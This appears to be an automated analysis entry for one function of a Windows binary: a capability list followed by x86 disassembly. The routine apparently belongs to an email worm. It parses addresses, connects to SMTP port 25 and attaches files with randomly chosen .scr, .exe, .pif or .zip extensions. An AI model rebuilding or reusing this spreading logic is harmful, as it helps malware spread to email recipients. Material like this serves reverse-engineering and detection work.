Function at 0x402533
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
push ebx
push esi
push edi
call fcn.00401cb7
cdq
idiv dword [0x4206f8]
push 0x1f
lea edi, [ebp - 0x13e]
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push 0xf
and byte [ebp - 0x80], 0
mov dword [ebp - 0x10], 0x2af8
mov eax, dword [edx*4 + 0x40ae00]
mov dx, word [0x420720]
mov dword [ebp - 8], eax
xor eax, eax
mov word [ebp - 0x140], dx
mov word [ebp - 0xc0], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0xbe]
push dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor edi, edi
call esi
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
test eax, eax
jle 0x4025e5
mov eax, dword [ebp + 8]
cmp byte [edi + eax], 0x40
je 0x4025bd
push eax
inc edi
call esi
cmp edi, eax
jl 0x4025aa
jmp 0x4025e5
lea eax, [edi + eax + 1]
push eax
lea eax, [ebp - 0x80]
push eax
call ebx
cmp byte [ebp - 0x80], 0
je 0x4026ff
push edi
lea eax, [ebp - 0xc0]
push dword [ebp + 8]
push eax
call fcn.00403b90
add esp, 0xc
cmp byte [ebp - 0x80], 0
je 0x4026ff
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x340]
push eax
lea eax, [ebp - 0xc0]
push eax
call fcn.00401cdf
add esp, 0xc
call fcn.00401cb7
push 0x10
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x440]
push dword [edx*4 + 0x4081a4]
push eax
call ebx
call fcn.00401cb7
push 0xc
cdq
pop ecx
idiv ecx
cmp edx, 5
jle 0x40267e
call fcn.00401cb7
push 0xc
cdq
pop ecx
idiv ecx
cmp edx, 5
jle 0x402665
call fcn.00401cb7
push 0xc
cdq
pop ecx
idiv ecx
cmp edx, 5
jle 0x40265e
push str..scr
jmp 0x40266a
push str..exe
jmp 0x40266a
push str..pif
lea eax, [ebp - 0x240]
push eax
call fcn.004039c0
and byte [ebp - 0xc], 0
pop ecx
pop ecx
jmp 0x402695
lea eax, [ebp - 0x240]
push str..zip
push eax
call fcn.004039c0
pop ecx
mov byte [ebp - 0xc], 1
pop ecx
lea eax, [ebp - 0x80]
push eax
call fcn.00401642
mov esi, eax
pop ecx
test esi, esi
je 0x4026ff
lea eax, [esi + 8]
push eax
call fcn.004027f2
mov edi, eax
pop ecx
test edi, edi
jne 0x4026bb
mov esi, dword [esi]
test esi, esi
jne 0x4026a5
push esi
call fcn.00401831
test edi, edi
pop ecx
je 0x4026ff
push 0x10
lea eax, [ebp - 0x20]
push 0
push eax
call fcn.004038d0
add esp, 0xc
mov word [ebp - 0x20], 2
push 0x19
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push 2
mov word [ebp - 0x1e], ax
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x402706
xor eax, eax
jmp 0x4027ed
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
lea ecx, [ebp - 0x10]
push 4
push ecx
mov edi, 0xffff
push 0x1006
push edi
push eax
call esi
lea eax, [ebp - 0x10]
push 4
push eax
push 0x1005
push edi
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x20]
push 0x10
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40274c
xor esi, esi
jmp 0x4027e2
call fcn.00401cb7
push eax
call fcn.00401cb7
push eax
lea eax, [ebp - 0x40]
push str.__.8X._.8X
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp + 8]
lea eax, [ebp - 0x80]
push dword [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
call fcn.00402ffb
add esp, 0x20
test eax, eax
je 0x4027df
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x340]
push eax
lea eax, [ebp - 4]
push dword [ebp + 8]
push dword [ebp - 8]
push eax
call fcn.0040282d
add esp, 0x18
test eax, eax
je 0x4027df
push dword [ebp - 0xc]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 4]
push eax
call fcn.00402b82
add esp, 0x18
test eax, eax
je 0x4027df
lea eax, [ebp - 4]
push eax
call fcn.004031eb
pop ecx
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret